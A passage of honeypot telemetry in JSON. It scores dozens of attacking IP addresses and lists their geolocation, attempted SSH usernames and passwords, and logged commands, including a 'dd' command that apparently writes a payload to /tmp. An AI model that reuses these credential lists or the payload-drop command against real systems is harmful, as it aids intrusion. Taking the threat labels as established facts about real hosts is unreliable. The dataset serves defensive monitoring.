        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 45671,
      "as_org": "Wholesale Services Provider",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:01:24.033000+00:00",
        "last_seen_30d": "2026-03-02T00:07:55.779000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 12
      }
    },
    "34.218.238.209": {
      "attack_count": 32,
      "first_seen": "2026-03-29T15:17:41.837Z",
      "last_seen": "2026-03-29T15:17:50.211Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Boardman",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 27.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T15:17:41.837000+00:00",
        "last_seen_30d": "2026-03-29T15:18:54.772000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 17
      }
    },
    "122.97.212.199": {
      "attack_count": 24,
      "first_seen": "2026-03-18T19:54:52.151Z",
      "last_seen": "2026-03-18T19:59:16.775Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shaoguan",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 16.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T19:54:52.151000+00:00",
        "last_seen_30d": "2026-03-18T20:00:24.645000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 12
      }
    },
    "134.209.56.43": {
      "attack_count": 24,
      "first_seen": "2026-03-26T23:38:26.935Z",
      "last_seen": "2026-03-26T23:38:29.311Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 29.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.8,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T23:38:26.935000+00:00",
        "last_seen_30d": "2026-03-28T16:30:10.081000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 14
      }
    },
    "94.243.14.80": {
      "attack_count": 24,
      "first_seen": "2026-03-18T17:43:25.253Z",
      "last_seen": "2026-03-18T17:47:22.839Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tyumen",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 16.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T17:43:25.253000+00:00",
        "last_seen_30d": "2026-03-18T17:57:30.253000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "144.31.137.41": {
      "attack_count": 20,
      "first_seen": "2026-03-23T04:16:20.567Z",
      "last_seen": "2026-03-23T04:27:33.927Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 213877,
      "as_org": "U1 Digital Services Ltd",
      "threat_score": 20.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T04:13:46.725000+00:00",
        "last_seen_30d": "2026-03-23T04:28:34.585000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "64.64.98.8": {
      "attack_count": 20,
      "first_seen": "2026-03-11T11:48:34.266Z",
      "last_seen": "2026-03-11T12:15:13.602Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Laos",
      "country_code": "LA",
      "city": "Vientiane",
      "asn": 137409,
      "as_org": "GSL Networks Pty LTD",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T11:48:34.266000+00:00",
        "last_seen_30d": "2026-03-11T12:16:19.816000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 10
      }
    },
    "192.253.248.45": {
      "attack_count": 18,
      "first_seen": "2026-03-03T12:21:14.669Z",
      "last_seen": "2026-03-06T00:28:59.149Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1#Kelltech",
        "kelltech2020#",
        "kelltech2025$"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 15.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.8,
        "persistence": 6.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 377,
        "days_active_30d": 8,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T12:21:14.669000+00:00",
        "last_seen_30d": "2026-03-10T15:19:17.979000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 289,
        "Heralding": 70,
        "Cowrie": 18
      }
    },
    "8.219.62.229": {
      "attack_count": 16,
      "first_seen": "2026-03-28T11:19:10.025Z",
      "last_seen": "2026-03-28T11:19:14.130Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "12345678",
        "password"
      ],
      "commands_executed": [
        "",
        ">D6@/XJ'8",
        "dd bs=1 count=1911588 > /tmp/BoHPGwZ5oj"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.file_download",
        "cowrie.session.params"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T11:19:10.025000+00:00",
        "last_seen_30d": "2026-03-28T11:20:18.999000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 3
      }
    },
    "113.161.39.122": {
      "attack_count": 15,
      "first_seen": "2026-03-08T07:48:46.897Z",
      "last_seen": "2026-03-08T07:59:37.423Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "cy",
        "root",
        "sammy"
      ],
      "passwords_attempted": [
        "12345678",
        "1qaz@WSX3edc",
        "Cy123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T07:48:46.897000+00:00",
        "last_seen_30d": "2026-03-08T08:00:42.107000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 8
      }
    },
    "85.11.182.27": {
      "attack_count": 15,
      "first_seen": "2026-03-02T13:52:43.823Z",
      "last_seen": "2026-03-02T13:52:44.633Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip, deflate, br",
        "Connection: close",
        "",
        "Accept-Language: en-US,en",
        "Accept-Language: en-US,en;q=0.9"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 201002,
      "as_org": "PebbleHost Ltd",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.8,
        "persistence": 3.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 482,
        "days_active_30d": 4,
        "ports_targeted_30d": 73,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T11:41:05+00:00",
        "last_seen_30d": "2026-03-05T20:07:06.105000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 316,
        "Honeytrap": 148,
        "Cowrie": 15,
        "Dionaea": 2,
        "H0neytr4p": 1
      }
    },
    "221.228.10.226": {
      "attack_count": 13,
      "first_seen": "2026-03-19T09:28:28.296Z",
      "last_seen": "2026-03-26T01:33:01.287Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 42.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.9,
        "persistence": 9.2,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 11,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-19T09:28:28.296000+00:00",
        "last_seen_30d": "2026-03-29T02:59:08.798000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 13,
        "Honeytrap": 4
      }
    },
    "64.62.197.77": {
      "attack_count": 13,
      "first_seen": "2026-03-06T03:52:31.083Z",
      "last_seen": "2026-03-24T06:57:30.958Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 283,
        "days_active_30d": 30,
        "ports_targeted_30d": 79,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-03-02T06:18:55+00:00",
        "last_seen_30d": "2026-03-31T10:56:13.012000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 165,
        "Honeytrap": 81,
        "Cowrie": 13,
        "Miniprint": 8,
        "Mailoney": 6,
        "ConPot": 4,
        "Dionaea": 3,
        "Adbhoney": 2,
        "Honeyaml": 1
      }
    },
    "115.190.119.177": {
      "attack_count": 12,
      "first_seen": "2026-03-02T05:04:22.603Z",
      "last_seen": "2026-03-14T15:14:24.528Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 15.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T05:04:22.603000+00:00",
        "last_seen_30d": "2026-03-14T15:26:57.181000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 12
      }
    },
    "143.198.64.48": {
      "attack_count": 10,
      "first_seen": "2026-03-23T05:43:14.511Z",
      "last_seen": "2026-03-23T05:43:18.061Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 61.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 9.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 119095,
        "days_active_30d": 11,
        "ports_targeted_30d": 65658,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-03-13T13:05:18+00:00",
        "last_seen_30d": "2026-03-23T05:54:58.968000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 105715,
        "Honeytrap": 13322,
        "ConPot": 10,
        "Cowrie": 10,
        "Dionaea": 10,
        "Miniprint": 8,
        "Mailoney": 6,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "65.49.1.172": {
      "attack_count": 9,
      "first_seen": "2026-03-14T08:30:59.398Z",
      "last_seen": "2026-03-26T08:40:42.282Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 332,
        "days_active_30d": 30,
        "ports_targeted_30d": 82,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T11:34:40+00:00",
        "last_seen_30d": "2026-03-31T15:28:43.340000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 194,
        "Honeytrap": 106,
        "Miniprint": 16,
        "Cowrie": 9,
        "Dionaea": 3,
        "Adbhoney": 2,
        "ConPot": 2
      }
    },
    "205.210.31.2": {
      "attack_count": 8,
      "first_seen": "2026-03-14T16:45:34.609Z",
      "last_seen": "2026-03-18T10:17:32.832Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 56.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.4,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 21,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-04T01:37:06+00:00",
        "last_seen_30d": "2026-03-24T22:55:33.810000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
        "Cowrie": 8,
        "Honeytrap": 7,
        "Dionaea": 1
      }
    },
    "134.122.65.91": {
      "attack_count": 7,
      "first_seen": "2026-03-09T02:14:26.627Z",
      "last_seen": "2026-03-09T02:14:27.193Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 21.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.5,
        "persistence": 4.2,
        "diversity": 18,
        "spread": 20,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 5,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-08T12:26:01+00:00",
        "last_seen_30d": "2026-03-12T16:48:34.106000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 40,
        "Honeytrap": 8,
        "Cowrie": 7,
        "H0neytr4p": 1
      }
    },
    "181.49.117.132": {
      "attack_count": 7,
      "first_seen": "2026-03-28T10:33:43.772Z",
      "last_seen": "2026-03-30T12:04:33.162Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Medell\u00edn",
      "asn": 14080,
      "as_org": "Telmex Colombia S.A.",
      "threat_score": 24.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T10:33:43.772000+00:00",
        "last_seen_30d": "2026-03-30T12:06:20.673000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 5
      }
    },
    "193.32.127.201": {
      "attack_count": 7,
      "first_seen": "2026-03-21T02:17:14.710Z",
      "last_seen": "2026-03-21T02:26:33.014Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "adm1n"
      ],
      "passwords_attempted": [
        "asdfasdf-space"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 39351,
      "as_org": "31173 Services AB",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T02:17:14.710000+00:00",
        "last_seen_30d": "2026-03-21T02:27:39.217000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 6
      }
    },
    "103.68.28.149": {
      "attack_count": 6,
      "first_seen": "2026-03-07T23:28:24.868Z",
      "last_seen": "2026-03-20T13:58:31.042Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 135799,
      "as_org": "Rapidnet Private Limited",
      "threat_score": 21.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T23:28:24.868000+00:00",
        "last_seen_30d": "2026-03-20T13:59:33.316000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "115.49.73.134": {
      "attack_count": 6,
      "first_seen": "2026-03-04T08:23:01.103Z",
      "last_seen": "2026-03-04T08:23:39.604Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T08:23:01.103000+00:00",
        "last_seen_30d": "2026-03-04T08:24:42.412000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "147.185.132.88": {
      "attack_count": 6,
      "first_seen": "2026-03-17T15:51:02.682Z",
      "last_seen": "2026-03-19T10:46:38.062Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 77.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.6,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 27,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T01:07:15+00:00",
        "last_seen_30d": "2026-03-29T11:31:51+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 76,
        "Honeytrap": 32,
        "Cowrie": 6,
        "Ciscoasa": 1
      }
    },
    "176.32.195.85": {
      "attack_count": 6,
      "first_seen": "2026-03-07T00:04:21.827Z",
      "last_seen": "2026-03-21T01:45:15.961Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": null,
      "asn": 197834,
      "as_org": "Ucom CJSC",
      "threat_score": 68.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 25.6,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 23,
        "ports_targeted_30d": 52,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-03-02T03:05:12+00:00",
        "last_seen_30d": "2026-03-24T09:44:44.065000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 263,
        "Honeytrap": 57,
        "Redishoneypot": 12,
        "Dionaea": 10,
        "ElasticPot": 7,
        "Cowrie": 6,
        "ConPot": 4,
        "Honeyaml": 2,
        "Tanner": 1
      }
    },
    "103.171.69.65": {
      "attack_count": 5,
      "first_seen": "2026-03-02T03:10:56.022Z",
      "last_seen": "2026-03-02T03:10:58.880Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "QWer1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 142627,
      "as_org": "Multilink International",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
